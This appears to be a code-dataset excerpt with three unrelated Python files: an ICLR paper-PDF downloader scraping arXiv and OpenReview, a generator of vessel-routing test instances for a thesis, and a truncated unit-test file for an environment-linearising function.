papers = soup.find('h3', {'id': 'workshop_track_posters_may_3rd'}).findNext('div').find_all('a')
for paper in tqdm(papers):
link = paper.get('href')
if link.startswith('http://beta.openreview'):
title = slugify(paper.text)
pdf_name = f'{title}_ICLR_WS_{year}.pdf'
try:
if not os.path.exists(os.path.join(save_dir, 'ws', pdf_name)):
pdf_link = get_pdf_link_from_openreview(link)
print(f'downloading {title}')
downloader.download(
urls=pdf_link,
save_path=os.path.join(save_dir, 'ws', pdf_name),
time_sleep_in_seconds=time_step_in_seconds
)
except Exception as e:
# error_flag = True
print('Error: ' + title + ' - ' + str(e))
error_log.append((title, link, 'paper download error', str(e)))
elif year == 2015:
# oral papers
oral_papers = soup.find('h3', {'id': 'conference_oral_presentations'}).findNext('div').find_all('a')
for paper in tqdm(oral_papers):
link = paper.get('href')
if link.startswith('http://arxiv'):
title = slugify(paper.text)
pdf_name = f'{title}_{paper_postfix}.pdf'
try:
if not os.path.exists(os.path.join(oral_save_path, title+f'_{paper_postfix}.pdf')):
pdf_link = get_pdf_link_from_arxiv(link, is_use_mirror=is_use_arxiv_mirror)
print(f'downloading {title}')
downloader.download(
urls=pdf_link,
save_path=os.path.join(oral_save_path, pdf_name),
time_sleep_in_seconds=time_step_in_seconds
)
except Exception as e:
# error_flag = True
print('Error: ' + title + ' - ' + str(e))
error_log.append((title, link, 'paper download error', str(e)))
# workshops papers
workshop_papers = soup.find('h3', {'id': 'may_7_workshop_poster_session'}).findNext('div').find_all('a')
workshop_papers.append(
soup.find('h3', {'id': 'may_8_workshop_poster_session'}).findNext('div').find_all('a'))
for paper in tqdm(workshop_papers):
link = paper.get('href')
if link.startswith('http://arxiv'):
title = slugify(paper.text)
pdf_name = f'{title}_ICLR_WS_{year}.pdf'
try:
if not os.path.exists(os.path.join(workshop_save_path, title + f'_{paper_postfix}.pdf')):
pdf_link = get_pdf_link_from_arxiv(link, is_use_mirror=is_use_arxiv_mirror)
print(f'downloading {title}')
downloader.download(
urls=pdf_link,
save_path=os.path.join(workshop_save_path, pdf_name),
time_sleep_in_seconds=time_step_in_seconds)
except Exception as e:
# error_flag = True
print('Error: ' + title + ' - ' + str(e))
error_log.append((title, link, 'paper download error', str(e)))
# poster papers
poster_papers = soup.find('h3', {'id': 'may_9_conference_poster_session'}).findNext('div').find_all('a')
for paper in tqdm(poster_papers):
link = paper.get('href')
if link.startswith('http://arxiv'):
title = slugify(paper.text)
pdf_name = f'{title}_{paper_postfix}.pdf'
try:
if not os.path.exists(os.path.join(poster_save_path, title + f'_{paper_postfix}.pdf')):
pdf_link = get_pdf_link_from_arxiv(link, is_use_mirror=is_use_arxiv_mirror)
print(f'downloading {title}')
downloader.download(
urls=pdf_link,
save_path=os.path.join(poster_save_path, pdf_name),
time_sleep_in_seconds=time_step_in_seconds)
except Exception as e:
# error_flag = True
print('Error: ' + title + ' - ' + str(e))
error_log.append((title, link, 'paper download error', str(e)))
elif year == 2014:
papers = soup.find('div', {'id': 'sites-canvas-main-content'}).find_all('a')
for paper in tqdm(papers):
link = paper.get('href')
if link.startswith('http://arxiv'):
title = slugify(paper.text)
pdf_name = f'{title}_{paper_postfix}.pdf'
try:
if not os.path.exists(os.path.join(save_dir, pdf_name)):
pdf_link = get_pdf_link_from_arxiv(link, is_use_mirror=is_use_arxiv_mirror)
print(f'downloading {title}')
downloader.download(
urls=pdf_link,
save_path=os.path.join(save_dir, pdf_name),
time_sleep_in_seconds=time_step_in_seconds)
except Exception as e:
# error_flag = True
print('Error: ' + title + ' - ' + str(e))
error_log.append((title, link, 'paper download error', str(e)))
# workshops
paper_postfix = f'ICLR_WS_{year}'
base_url = 'https://sites.google.com/site/representationlearning2014/workshop-proceedings'
headers = {
'User-Agent':
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0'}
req = urllib.request.Request(url=base_url, headers=headers)
content = urllib.request.urlopen(req).read()
soup = BeautifulSoup(content, 'html.parser')
workshop_save_path = os.path.join(save_dir, 'WS')
os.makedirs(workshop_save_path, exist_ok=True)
papers = soup.find('div', {'id': 'sites-canvas-main-content'}).find_all('a')
for paper in tqdm(papers):
link = paper.get('href')
if link.startswith('http://arxiv'):
title = slugify(paper.text)
pdf_name = f'{title}_{paper_postfix}.pdf'
try:
if not os.path.exists(os.path.join(workshop_save_path, pdf_name)):
pdf_link = get_pdf_link_from_arxiv(link, is_use_mirror=is_use_arxiv_mirror)
print(f'downloading {title}')
downloader.download(
urls=pdf_link,
save_path=os.path.join(workshop_save_path, pdf_name),
time_sleep_in_seconds=time_step_in_seconds)
except Exception as e:
# error_flag = True
print('Error: ' + title + ' - ' + str(e))
error_log.append((title, link, 'paper download error', str(e)))
# write error log
print('write error log')
with open('..\\log\\download_err_log.txt', 'w') as f:
for log in tqdm(error_log):
for e in log:
if e is not None:
f.write(e)
else:
f.write('None')
f.write('\n')
f.write('\n')
return True
def download_iclr_paper_given_html_file(year, html_path, save_dir, time_step_in_seconds=10, downloader='IDM'):
"""
download iclr conference paper given html file (current only support 2021)
:param year: int, iclr year, current only support year >= 2018
:param html_path: str, html file's full pathname
:param save_dir: str, paper save path
:param time_step_in_seconds: int, the interval time between two downlaod request in seconds
:param downloader: str, the downloader to download, could be 'IDM' or 'Thunder', default to 'IDM'
:return: True
"""
downloader = Downloader(downloader=downloader)
base_url = f'https://openreview.net/group?id=ICLR.cc/{year}'
content = open(html_path, 'rb').read()
soup = BeautifulSoup(content, 'html5lib')
divs = soup.find('div', {'class': 'tabs-container'})
oral_papers = divs.find('div', {'id': 'oral-presentations'}).find_all('li', {'class': 'note'})
num_oral_papers = len(oral_papers)
print('found number of oral papers:', num_oral_papers)
spotlight_papers = divs.find('div', {'id': 'spotlight-presentations'}).find_all('li', {'class': 'note'})
num_spotlight_papers = len(spotlight_papers)
print('found number of spotlight papers:', num_spotlight_papers)
poster_papers = divs.find('div', {'id': 'poster-presentations'}).find_all('li', {'class': 'note'})
num_poster_papers = len(poster_papers)
print('found number of poster papers:', num_poster_papers)
paper_postfix = f'ICLR_{year}'
error_log = []
# oral
oral_save_dir = os.path.join(save_dir, 'oral')
print('downloading oral papers...........')
os.makedirs(oral_save_dir, exist_ok=True)
for index, paper in enumerate(oral_papers):
a_hrefs = paper.find_all("a")
name = slugify(a_hrefs[0].text.strip())
pdf_name = name + '_' + paper_postfix + '.pdf'
if not os.path.exists(os.path.join(oral_save_dir, pdf_name)):
link = a_hrefs[1].get('href')
link = urllib.parse.urljoin(base_url, link)
print('Downloading paper {}/{}: {}'.format(index + 1, num_oral_papers, name))
# try 1 times
success_flag = False
for d_iter in range(1):
try:
downloader.download(
urls=link,
save_path=os.path.join(oral_save_dir, pdf_name),
time_sleep_in_seconds=time_step_in_seconds
)
success_flag = True
break
except Exception as e:
print('Error: ' + name + ' - ' + str(e))
# time.sleep(time_step_in_seconds)
if not success_flag:
error_log.append((name, link))
# spotlight
spotlight_save_dir = os.path.join(save_dir, 'spotlight')
print('downloading spotlight papers...........')
os.makedirs(spotlight_save_dir, exist_ok=True)
for index, paper in enumerate(spotlight_papers):
a_hrefs = paper.find_all("a")
name = slugify(a_hrefs[0].text.strip())
pdf_name = name + '_' + paper_postfix + '.pdf'
if not os.path.exists(os.path.join(spotlight_save_dir, pdf_name)):
link = a_hrefs[1].get('href')
link = urllib.parse.urljoin(base_url, link)
print('Downloading paper {}/{}: {}'.format(index + 1, num_spotlight_papers, name))
# try 1 times
success_flag = False
for d_iter in range(1):
try:
downloader.download(
urls=link,
save_path=os.path.join(spotlight_save_dir, pdf_name),
time_sleep_in_seconds=time_step_in_seconds
)
success_flag = True
break
except Exception as e:
print('Error: ' + name + ' - ' + str(e))
# time.sleep(time_step_in_seconds)
if not success_flag:
error_log.append((name, link))
# poster
poster_save_dir = os.path.join(save_dir, 'poster')
print('downloading poster papers...........')
os.makedirs(poster_save_dir, exist_ok=True)
for index, paper in enumerate(poster_papers):
a_hrefs = paper.find_all("a")
name = slugify(a_hrefs[0].text.strip())
pdf_name = name + '_' + paper_postfix + '.pdf'
if not os.path.exists(os.path.join(poster_save_dir, pdf_name)):
link = a_hrefs[1].get('href')
link = urllib.parse.urljoin(base_url, link)
print('Downloading paper {}/{}: {}'.format(index + 1, num_poster_papers, name))
# try 1 times
success_flag = False
for d_iter in range(1):
try:
downloader.download(
urls=link,
save_path=os.path.join(poster_save_dir, pdf_name),
time_sleep_in_seconds=time_step_in_seconds
)
success_flag = True
break
except Exception as e:
print('Error: ' + name + ' - ' + str(e))
# time.sleep(time_step_in_seconds)
if not success_flag:
error_log.append((name, link))
# 2. write error log
print('write error log')
with open('..\\log\\download_err_log.txt', 'w') as f:
for log in tqdm(error_log):
for e in log:
f.write(e)
f.write('\n')
f.write('\n')
def get_pdf_link_from_openreview(abs_link):
return abs_link.replace('beta.', '').replace('forum', 'pdf')
def get_pdf_link_from_arxiv(abs_link, is_use_mirror=True):
if is_use_mirror:
# abs_link = abs_link.replace('arxiv.org', 'xxx.itp.ac.cn')
abs_link = abs_link.replace('arxiv.org', 'cn.arxiv.org')
for i in range(3): # try 3 times
try:
abs_content = urlopen(abs_link, timeout=20).read()
break
except:
if 2 == i:
return None
abs_soup = BeautifulSoup(abs_content, 'html.parser')
pdf_link = 'http://cn.arxiv.org' + abs_soup.find('div', {'class': 'full-text'}).find('ul').find('a').get('href')
else:
for i in range(3): # try 3 times
try:
abs_content = urlopen(abs_link, timeout=20).read()
break
except:
if 2 == i:
return None
abs_soup = BeautifulSoup(abs_content, 'html.parser')
pdf_link = 'http://arxiv.org' + abs_soup.find('div', {'class': 'full-text'}).find('ul').find('a').get('href')
if pdf_link[-3:] != 'pdf':
pdf_link += '.pdf'
return pdf_link
if __name__ == '__main__':
year = 2016
# driver_path = r'c:\chromedriver.exe'
# save_dir_iclr = rf'F:\ICLR_{year}'
# download_iclr_oral_papers(save_dir_iclr, driver_path, year)
# download_iclr_poster_papers(save_dir_iclr, driver_path, year)
# download_iclr_spotlight_papers(save_dir_iclr, driver_path, year)
download_iclr_paper(year, save_dir=fr'G:\all_papers\ICLR\ICLR_{year}')
# download_iclr_paper_given_html_file(
# year,
# html_path=r'F:\oral.html',
# save_dir=save_dir_iclr,
# time_step_in_seconds=5)
| 46.752533
| 123
| 0.562651
| 3,937
| 32,306
| 4.398781
| 0.073406
| 0.02304
| 0.02021
| 0.027486
| 0.873484
| 0.852004
| 0.838203
| 0.812507
| 0.803846
| 0.781672
| 0
| 0.016593
| 0.319105
| 32,306
| 690
| 124
| 46.82029
| 0.770696
| 0.101591
| 0
| 0.757246
| 0
| 0.025362
| 0.176347
| 0.037534
| 0
| 0
| 0
| 0
| 0
| 1
| 0.012681
| false
| 0
| 0.023551
| 0.001812
| 0.04529
| 0.099638
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
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0
| 7
|
1f158762e27070de16bf40b3de6660c7bf40d894
| 18,767
|
py
|
Python
|
src/generate_data/generate.py
|
ivarbrek/master_thesis_bestemt
|
58074bb609a5db829a5f377f2278c5376c6ce782
|
[
"MIT"
] | null | null | null |
src/generate_data/generate.py
|
ivarbrek/master_thesis_bestemt
|
58074bb609a5db829a5f377f2278c5376c6ce782
|
[
"MIT"
] | null | null | null |
src/generate_data/generate.py
|
ivarbrek/master_thesis_bestemt
|
58074bb609a5db829a5f377f2278c5376c6ce782
|
[
"MIT"
] | null | null | null |
from src.generate_data.test_data_generator import TestDataGenerator
def generate_parameter_tuning_instances():
# Input parameters and info that varies for each instance:
base_settings = ['3-1', '5-2']
all_orders = [[20, 40, 60], [20, 40, 60]]
all_planning_horizon_days = [[6, 9, 14], [5, 8, 12]]
all_vessels = [["Borgenfjord", "Nyksund", "Høydal"], ["Ripnes", "Vågsund", "Nyksund", "Borgenfjord", "Høydal"]]
all_factories = [["2016"], ["2022", "482"]]
companies = ["Mowi Feed AS", "BioMar AS"]
inventory_levels = [0.2, 0.5]
inventory_level_encoding = {0.2: "l", 0.5: "h"}
# Input parameters kept constant:
tw_length_hours = 4 * 24
time_period_length = 2
no_products = 10
no_product_groups = 4
quay_activity_level = 0.1
hours_production_stop = 12
share_red_nodes = 0.1
radius_red = 10000
radius_yellow = 30000
share_bag_locations = 0.2
share_small_fjord_locations = 0.05
share_time_periods_vessel_availability = 0.5
small_fjord_radius = 50000
min_wait_if_sick_hours = 12
delivery_delay_unit_penalty = 10000
earliest_tw_start = 5
for no_orders_group, planning_horizon_days_group, vessels, factories, company, setting_name in zip(
all_orders, all_planning_horizon_days, all_vessels, all_factories, companies, base_settings):
generator = TestDataGenerator() # need re-instantiated generator per set of factories
for no_orders, planning_horizon_days in zip(no_orders_group, planning_horizon_days_group):
for inventory_level in inventory_levels:
instance_name = f"tuning-{setting_name}-{no_orders}-{inventory_level_encoding[inventory_level]}"
time_periods = int(planning_horizon_days * 24 / time_period_length)
print(instance_name)
generator.write_test_instance_to_file(
# Input parameters varying:
out_filepath=f"../../data/input_data/parameter_tuning/{instance_name}.xlsx",
vessel_names=vessels,
factory_locations=factories,
orders_from_company=company,
no_orders=no_orders,
factory_level=inventory_level,
ext_depot_level=0.1,
time_periods=time_periods,
tw_length_hours=tw_length_hours,
# Input parameters kept constant:
time_period_length=time_period_length,
no_products=no_products,
no_product_groups=no_product_groups,
quay_activity_level=quay_activity_level,
hours_production_stop=hours_production_stop,
share_red_nodes=share_red_nodes,
radius_red=radius_red,
radius_yellow=radius_yellow,
share_bag_locations=share_bag_locations,
share_small_fjord_locations=share_small_fjord_locations,
share_time_periods_vessel_availability=share_time_periods_vessel_availability,
small_fjord_radius=small_fjord_radius,
min_wait_if_sick_hours=min_wait_if_sick_hours,
delivery_delay_unit_penalty=delivery_delay_unit_penalty,
earliest_tw_start=earliest_tw_start
)
def generate_performance_testing_instances():
# Input parameters and info that varies for each instance:
instances_per_modification = 3
base_settings = ['3-1', '5-2']
all_orders = [[20, 40, 60], [20, 40, 60]]
all_planning_horizon_days = [[6, 9, 14], [5, 8, 12]]
all_vessels = [["Borgenfjord", "Nyksund", "Høydal"], ["Ripnes", "Vågsund", "Nyksund", "Borgenfjord", "Høydal"]]
all_factories = [["2016"], ["2022", "482"]]
companies = ["Mowi Feed AS", "BioMar AS"]
inventory_levels = [0.2, 0.5]
inventory_level_encoding = {0.2: "l", 0.5: "h"}
no_products = [10]
# Input parameters kept constant:
tw_length_hours = 4 * 24
time_period_length = 1
no_product_groups = 4
quay_activity_level = 0.1
hours_production_stop = 12
share_red_nodes = 0.1
radius_red = 10000
radius_yellow = 30000
share_bag_locations = 0.2
share_small_fjord_locations = 0.05
share_time_periods_vessel_availability = 0.5
small_fjord_radius = 50000
min_wait_if_sick_hours = 12
delivery_delay_unit_penalty = 10000
earliest_tw_start = 5
for no_orders_group, planning_horizon_days_group, vessels, factories, company, setting_name in zip(
all_orders, all_planning_horizon_days, all_vessels, all_factories, companies, base_settings):
generator = TestDataGenerator() # need re-instantiated generator per set of factories
for no_orders, planning_horizon_days in zip(no_orders_group, planning_horizon_days_group):
for inventory_level in inventory_levels:
for no_product in no_products:
for i in range(instances_per_modification):
instance_name = f"performance-{setting_name}-{no_orders}-" \
f"{inventory_level_encoding[inventory_level]}-{i}"
time_periods = int(planning_horizon_days * 24 / time_period_length)
print(instance_name)
generator.write_test_instance_to_file(
# Input parameters varying:
out_filepath=f"../../data/input_data/performance_testing/{instance_name}.xlsx",
vessel_names=vessels,
factory_locations=factories,
orders_from_company=company,
no_orders=no_orders,
factory_level=inventory_level,
ext_depot_level=0.1,
time_periods=time_periods,
tw_length_hours=tw_length_hours,
# Input parameters kept constant:
time_period_length=time_period_length,
no_products=no_product,
no_product_groups=no_product_groups,
quay_activity_level=quay_activity_level,
hours_production_stop=hours_production_stop,
share_red_nodes=share_red_nodes,
radius_red=radius_red,
radius_yellow=radius_yellow,
share_bag_locations=share_bag_locations,
share_small_fjord_locations=share_small_fjord_locations,
share_time_periods_vessel_availability=share_time_periods_vessel_availability,
small_fjord_radius=small_fjord_radius,
min_wait_if_sick_hours=min_wait_if_sick_hours,
delivery_delay_unit_penalty=delivery_delay_unit_penalty,
earliest_tw_start=earliest_tw_start
)
def generate_time_period_duplicate_instances():
# Input parameters and info that varies for each instance:
instances_per_modification = 3
base_settings = ['3-1', '5-2']
all_orders = [[30, 60], [30, 60]]
all_planning_horizon_days = [[8, 14], [5, 12]]
all_vessels = [["Borgenfjord", "Nyksund", "Høydal"], ["Ripnes", "Vågsund", "Nyksund", "Borgenfjord", "Høydal"]]
all_factories = [["2016"], ["2022", "482"]]
companies = ["Mowi Feed AS", "BioMar AS"]
time_period_lengths = [1, 2, 3]
# Input parameters kept constant:
tw_length_hours = 4 * 24
inventory_level = 0.2
no_products = 10
no_product_groups = 4
quay_activity_level = 0.1
hours_production_stop = 12
share_red_nodes = 0.1
radius_red = 10000
radius_yellow = 30000
share_bag_locations = 0.2
share_small_fjord_locations = 0.05
share_time_periods_vessel_availability = 0.5
small_fjord_radius = 50000
min_wait_if_sick_hours = 12
delivery_delay_unit_penalty = 10000
earliest_tw_start = 5
for no_orders_group, planning_horizon_days_group, vessels, factories, company, setting_name in zip(
all_orders, all_planning_horizon_days, all_vessels, all_factories, companies, base_settings):
generator = TestDataGenerator() # need re-instantiated generator per set of factories
for no_orders, planning_horizon_days in zip(no_orders_group, planning_horizon_days_group):
for i in range(instances_per_modification):
instance_names = [f"tp_testing-{setting_name}-{no_orders}-tp_length={time_period_length}-{i}"
for time_period_length in time_period_lengths]
time_periods_list = [int(planning_horizon_days * 24 / time_period_length)
for time_period_length in time_period_lengths]
print(instance_names)
generator.write_duplicate_test_instances_to_file_time_periods(
# Input parameters varying:
out_filepaths=[f"../../data/input_data/time_periods_testing/{instance_name}.xlsx"
for instance_name in instance_names],
vessel_names=vessels,
factory_locations=factories,
orders_from_company=company,
no_orders=no_orders,
time_periods_list=time_periods_list,
time_period_lengths=time_period_lengths,
tw_length_hours=tw_length_hours,
# Input parameters kept constant:
factory_level=inventory_level,
ext_depot_level=0.1,
no_products=no_products,
no_product_groups=no_product_groups,
quay_activity_level=quay_activity_level,
hours_production_stop=hours_production_stop,
share_red_nodes=share_red_nodes,
radius_red=radius_red,
radius_yellow=radius_yellow,
share_bag_locations=share_bag_locations,
share_small_fjord_locations=share_small_fjord_locations,
share_time_periods_vessel_availability=share_time_periods_vessel_availability,
small_fjord_radius=small_fjord_radius,
min_wait_if_sick_hours=min_wait_if_sick_hours,
delivery_delay_unit_penalty=delivery_delay_unit_penalty,
earliest_tw_start_hour=earliest_tw_start
)
def generate_time_window_duplicate_instances():
# Input parameters and info that varies for each instance:
base_settings = ['3-1', '5-2']
all_orders = [[30, 60], [30, 60]]
all_planning_horizon_days = [[8, 14], [5, 12]]
all_vessels = [["Borgenfjord", "Nyksund", "Høydal"], ["Ripnes", "Vågsund", "Nyksund", "Borgenfjord", "Høydal"]]
all_factories = [["2016"], ["2022", "482"]]
companies = ["Mowi Feed AS", "BioMar AS"]
tw_length_hours_list = [days * 24 for days in [3, 4, 5]]
# Input parameters kept constant:
time_period_length = 2
inventory_level = 0.4
no_products = 10
no_product_groups = 4
quay_activity_level = 0.1
hours_production_stop = 12
share_red_nodes = 0.1
radius_red = 10000
radius_yellow = 30000
share_bag_locations = 0.2
share_small_fjord_locations = 0.05
share_time_periods_vessel_availability = 0.5
small_fjord_radius = 50000
min_wait_if_sick_hours = 12
delivery_delay_unit_penalty = 10000
earliest_tw_start = 5
for no_orders_group, planning_horizon_days_group, vessels, factories, company, setting_name in zip(
all_orders, all_planning_horizon_days, all_vessels, all_factories, companies, base_settings):
generator = TestDataGenerator() # need re-instantiated generator per set of factories
for no_orders, planning_horizon_days in zip(no_orders_group, planning_horizon_days_group):
instance_names = [f"tw_testing-{setting_name}-{no_orders}-tw_length={tw_length//24}d"
for tw_length in tw_length_hours_list]
print(instance_names)
time_periods = planning_horizon_days * 24
generator.write_duplicate_test_instances_to_file_time_windows(
# Input parameters varying:
out_filepaths=[f"../../data/input_data/time_windows_testing/{instance_name}.xlsx"
for instance_name in instance_names],
vessel_names=vessels,
factory_locations=factories,
orders_from_company=company,
no_orders=no_orders,
tw_length_hours_list=tw_length_hours_list,
# Input parameters kept constant:
time_periods=time_periods,
time_period_length=time_period_length,
factory_level=inventory_level,
ext_depot_level=0.1,
no_products=no_products,
no_product_groups=no_product_groups,
quay_activity_level=quay_activity_level,
hours_production_stop=hours_production_stop,
share_red_nodes=share_red_nodes,
radius_red=radius_red,
radius_yellow=radius_yellow,
share_bag_locations=share_bag_locations,
share_small_fjord_locations=share_small_fjord_locations,
share_time_periods_vessel_availability=share_time_periods_vessel_availability,
small_fjord_radius=small_fjord_radius,
min_wait_if_sick_hours=min_wait_if_sick_hours,
delivery_delay_unit_penalty=delivery_delay_unit_penalty,
earliest_tw_start_hour=earliest_tw_start
)
def generate_factory_decompose_instances():
generator = TestDataGenerator()
no_instances = 5
vessels = ["Ripnes", "Vågsund", "Nyksund", "Borgenfjord", "Høydal"]
company = "BioMar AS"
factories = ["2022", "482"]
no_orders = 80
inventory_level = 0.4
time_periods = 24 * 14
no_product = 10
tw_length_hours = 4 * 24
time_period_length = 1
no_product_groups = 4
quay_activity_level = 0.1
hours_production_stop = 12
share_red_nodes = 0.1
radius_red = 10000
radius_yellow = 30000
share_bag_locations = 0.2
share_small_fjord_locations = 0.05
share_time_periods_vessel_availability = 0.5
small_fjord_radius = 50000
min_wait_if_sick_hours = 12
delivery_delay_unit_penalty = 10000
earliest_tw_start = 5
for i in range(10, 10 + no_instances):
instance_name = f'factory_decompose-5-2-{no_orders}-{i}'
print(instance_name)
generator.write_test_instance_to_file(
# Input parameters varying:
out_filepath=f"../../data/input_data/factory_decompose/{instance_name}.xlsx",
vessel_names=vessels,
factory_locations=factories,
orders_from_company=company,
no_orders=no_orders,
factory_level=inventory_level,
ext_depot_level=0.1,
time_periods=time_periods,
tw_length_hours=tw_length_hours,
# Input parameters kept constant:
time_period_length=time_period_length,
no_products=no_product,
no_product_groups=no_product_groups,
quay_activity_level=quay_activity_level,
hours_production_stop=hours_production_stop,
share_red_nodes=share_red_nodes,
radius_red=radius_red,
radius_yellow=radius_yellow,
share_bag_locations=share_bag_locations,
share_small_fjord_locations=share_small_fjord_locations,
share_time_periods_vessel_availability=share_time_periods_vessel_availability,
small_fjord_radius=small_fjord_radius,
min_wait_if_sick_hours=min_wait_if_sick_hours,
delivery_delay_unit_penalty=delivery_delay_unit_penalty,
earliest_tw_start=earliest_tw_start,
ensure_vessel_positions=True,
assign_to_closest_factory=True,
plot_locations="factory_decompose"
)
if __name__ == '__main__':
# generate_parameter_tuning_instances()
# generate_time_period_duplicate_instances()
# generate_performance_testing_instances()
# generate_time_window_duplicate_instances()
# generate_factory_decompose_instances()
generator = TestDataGenerator()
vessels = ["Ripnes", "Vågsund", "Nyksund", "Borgenfjord", "Høydal"]
company = "BioMar AS"
factories = ["2022", "482", "2015"]
inventory_level = 0.2
time_periods = 24 * 5
no_product = 3
instance_name = 'test.xlsx'
tw_length_hours = 4 * 24
time_period_length = 1
no_product_groups = 4
quay_activity_level = 0.1
hours_production_stop = 12
share_red_nodes = 0.1
radius_red = 10000
radius_yellow = 30000
share_bag_locations = 0.2
share_small_fjord_locations = 0.05
share_time_periods_vessel_availability = 0.5
small_fjord_radius = 50000
min_wait_if_sick_hours = 12
delivery_delay_unit_penalty = 10000
earliest_tw_start = 5
generator.write_test_instance_to_file(
# Input parameters varying:
out_filepath=f"../../data/input_data/performance_testing/{instance_name}.xlsx",
vessel_names=vessels,
factory_locations=factories,
orders_from_company=company,
no_orders=90,
factory_level=inventory_level,
ext_depot_level=0.1,
time_periods=time_periods,
tw_length_hours=tw_length_hours,
# Input parameters kept constant:
time_period_length=time_period_length,
no_products=no_product,
no_product_groups=no_product_groups,
quay_activity_level=quay_activity_level,
hours_production_stop=hours_production_stop,
share_red_nodes=share_red_nodes,
radius_red=radius_red,
radius_yellow=radius_yellow,
share_bag_locations=share_bag_locations,
share_small_fjord_locations=share_small_fjord_locations,
share_time_periods_vessel_availability=share_time_periods_vessel_availability,
small_fjord_radius=small_fjord_radius,
min_wait_if_sick_hours=min_wait_if_sick_hours,
delivery_delay_unit_penalty=delivery_delay_unit_penalty,
earliest_tw_start=earliest_tw_start,
order_size_factor=2,
plot_locations="basic"
)
| 45.997549
| 115
| 0.648479
| 2,192
| 18,767
| 5.082573
| 0.073905
| 0.037519
| 0.04093
| 0.038776
| 0.906561
| 0.885109
| 0.871645
| 0.867786
| 0.841666
| 0.837806
| 0
| 0.035176
| 0.281984
| 18,767
| 407
| 116
| 46.110565
| 0.791614
| 0.059413
| 0
| 0.855524
| 1
| 0
| 0.071161
| 0.040007
| 0
| 0
| 0
| 0
| 0
| 1
| 0.014164
| false
| 0
| 0.002833
| 0
| 0.016997
| 0.014164
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
1f8ffd8098b6a220cfa219619e21dd21c7e1a0c1
| 6,550
|
py
|
Python
|
tests/ci/unit_tests/puff/arm/test_linearized_environments.py
|
Food-X-Technologies/foodx_devops_tools
|
57d1bf1304d9c9a386eaffa427f9eb36c410c350
|
[
"MIT"
] | 3
|
2021-06-23T20:53:43.000Z
|
2022-01-26T14:19:43.000Z
|
tests/ci/unit_tests/puff/arm/test_linearized_environments.py
|
Food-X-Technologies/foodx_devops_tools
|
57d1bf1304d9c9a386eaffa427f9eb36c410c350
|
[
"MIT"
] | 33
|
2021-08-09T15:44:51.000Z
|
2022-03-03T18:28:02.000Z
|
tests/ci/unit_tests/puff/arm/test_linearized_environments.py
|
Food-X-Technologies/foodx_devops_tools
|
57d1bf1304d9c9a386eaffa427f9eb36c410c350
|
[
"MIT"
] | 1
|
2021-06-23T20:53:52.000Z
|
2021-06-23T20:53:52.000Z
|
# Copyright (c) 2021 Food-X Technologies
#
# This file is part of foodx_devops_tools.
#
# You should have received a copy of the MIT License along with
# foodx_devops_tools. If not, see <https://opensource.org/licenses/MIT>.
from foodx_devops_tools.puff.arm import _linearize_environments
class TestLinearizedEnvironments:
def test_environments_regions(self):
mock_base = {
"this.stub": {
"p1": "bp1",
"k2": "bk2",
"environments": {
"e1": {
"k1": "e1k1",
"regions": [
{"r1": {"k1": "e1r1k1"}},
{"r2": {"k2": "e1r2k2"}},
],
},
},
},
}
expected_result = {
"this.stub.e1": {
"environment": "e1",
"p1": "bp1",
"k1": "e1k1",
"k2": "bk2",
"regions": [
{"r1": {"k1": "e1r1k1"}},
{"r2": {"k2": "e1r2k2"}},
],
},
}
result = _linearize_environments(mock_base)
assert result == expected_result
def test_multiple_stubs_multiple_environments(self):
mock_base = {
"stub1": {
"p1": "stub1.p1",
"k2": "stub1.k2",
# "full" environment
"environments": {
"e1": {
"k1": "e1k1",
},
"e2": {
"k1": "e2k1",
},
},
},
}
expected_result = {
"stub1.e1": {
"environment": "e1",
"p1": "stub1.p1",
"k1": "e1k1",
"k2": "stub1.k2",
},
"stub1.e2": {
"environment": "e2",
"p1": "stub1.p1",
"k1": "e2k1",
"k2": "stub1.k2",
},
}
result = _linearize_environments(mock_base)
assert result == expected_result
def test_multiple_stubs_mixed_environments(self):
mock_base = {
"stub1": {
"p1": "stub1.p1",
"k2": "stub1.k2",
# "full" environment
"environments": {
"e1": {
"k1": "e1k1",
"regions": [
{"r1": {"k1": "e1r1k1"}},
{"r2": {"k2": "e1r2k2"}},
],
},
},
},
"stub2": {
"p1": "stub2.p1",
"k2": "stub2.k2",
# empty environment
"environments": dict(),
},
}
expected_result = {
"stub1.e1": {
"environment": "e1",
"p1": "stub1.p1",
"k1": "e1k1",
"k2": "stub1.k2",
"regions": [
{"r1": {"k1": "e1r1k1"}},
{"r2": {"k2": "e1r2k2"}},
],
},
"stub2": {
"p1": "stub2.p1",
"k2": "stub2.k2",
},
}
result = _linearize_environments(mock_base)
assert result == expected_result
def test_empty_environments(self):
mock_base = {
"this.stub": {
"p1": "bp1",
"k2": "bk2",
"environments": dict(),
},
}
expected_result = {
"this.stub": {
"p1": "bp1",
"k2": "bk2",
},
}
result = _linearize_environments(mock_base)
assert result == expected_result
def test_environments_no_environment_regions(self):
mock_base = {
"this.stub": {
"p1": "bp1",
"k2": "bk2",
"environments": {
"e1": {
"k1": "e1k1",
},
},
},
}
expected_result = {
"this.stub.e1": {
"environment": "e1",
"p1": "bp1",
"k1": "e1k1",
"k2": "bk2",
},
}
result = _linearize_environments(mock_base)
assert result == expected_result
def test_no_environments_no_regions(self):
mock_base = {
"this.stub": {
"p1": "bp1",
"k2": "bk2",
},
}
expected_result = {
"this.stub": {
"p1": "bp1",
"k2": "bk2",
},
}
result = _linearize_environments(mock_base)
assert result == expected_result
def test_no_environments_no_regions_empty_base(self):
mock_base = {
"this.stub": dict(),
}
expected_result = {
"this.stub": dict(),
}
result = _linearize_environments(mock_base)
assert result == expected_result
def test_environments_empty_base(self):
mock_base = {
"this.stub": {
"environments": {
"e1": {
"k1": "e1k1",
"regions": [
{"r1": {"k1": "e1r1k1"}},
{"r2": {"k2": "e1r2k2"}},
],
},
},
},
}
expected_result = {
"this.stub.e1": {
"environment": "e1",
"k1": "e1k1",
"regions": [
{"r1": {"k1": "e1r1k1"}},
{"r2": {"k2": "e1r2k2"}},
],
},
}
result = _linearize_environments(mock_base)
assert result == expected_result
def test_none_environments(self):
mock_base = {
"this.stub": {
"k1": "k1",
"environments": {
